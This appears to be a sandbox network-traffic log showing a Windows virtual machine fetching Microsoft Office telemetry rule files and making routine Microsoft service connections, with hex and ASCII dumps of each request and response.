2024-11-23 04:02:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040234Z-178bfbc474bbbqrhhC1NYCvw7400000004600000000011fa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:35 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49783	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:36 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 04:02:36 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=45786 Date: Sat, 23 Nov 2024 04:02:36 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 04:02:36 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:36 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040236Z-174c587ffdfb5q56hC1TEB04kg00000002cg000000004x5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:37 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:36 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1c81f4ad-001e-005a-6fbf-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040236Z-174c587ffdf4zw2thC1TEBu34000000002gg000000007muy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:36 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:36 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040236Z-174c587ffdf8lw6dhC1TEBkgs800000002fg000000003063 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:37 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:37 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040237Z-174c587ffdftjz9shC1TEBsh9800000002a00000000063cd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:37 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:36 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040237Z-178bfbc474bxkclvhC1NYC69g400000003ug00000000epab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49780	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 34 52 39 6d 62 53 42 74 66 55 36 79 49 43 37 68 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 32 66 66 32 61 63 31 64 30 64 63 37 62 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 4R9mbSBtfU6yIC7h.1Context: d92ff2ac1d0dc7b5
2024-11-23 04:02:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 04:02:36 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 34 52 39 6d 62 53 42 74 66 55 36 79 49 43 37 68 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 32 66 66 32 61 63 31 64 30 64 63 37 62 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 62 46 66 49 61 38 42 37 7a 2f 45 70 43 53 31 4d 59 50 62 64 39 73 4c 36 37 54 6a 70 52 2f 41 78 6e 53 6d 50 56 4e 6e 32 68 59 35 73 54 6d 53 65 64 47 4c 35 6a 53 74 71 42 58 2f 34 74 42 73 42 67 78 4a 6e 74 57 59 64 57 39 43 76 53 38 76 44 37 76 55 48 69 78 72 4a 5a 2b 4f 4c 77 41 38 79 48 66 37 6b 5a 30 43 6e 2b 49 33 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 4R9mbSBtfU6yIC7h.2Context: d92ff2ac1d0dc7b5<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYbFfIa8B7z/EpCS1MYPbd9sL67TjpR/AxnSmPVNn2hY5sTmSedGL5jStqBX/4tBsBgxJntWYdW9CvS8vD7vUHixrJZ+OLwA8yHf7kZ0Cn+I38
2024-11-23 04:02:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 34 52 39 6d 62 53 42 74 66 55 36 79 49 43 37 68 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 32 66 66 32 61 63 31 64 30 64 63 37 62 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 4R9mbSBtfU6yIC7h.3Context: d92ff2ac1d0dc7b5<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 04:02:37 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 04:02:37 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 50 58 78 45 71 41 62 39 30 4f 55 76 6b 74 53 76 61 30 37 58 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 9PXxEqAb90OUvktSva07Xg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:39 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f47ed088-401e-0029-7f4d-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040239Z-15b8b599d88qw29phC1TEB5zag00000002cg000000009qhm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:39 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 3698648a-601e-005c-5705-3df06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040239Z-178bfbc474bbcwv4hC1NYCypys00000003rg00000000fa57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:39 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040239Z-178bfbc474bbcwv4hC1NYCypys00000003x000000000019q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:39 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
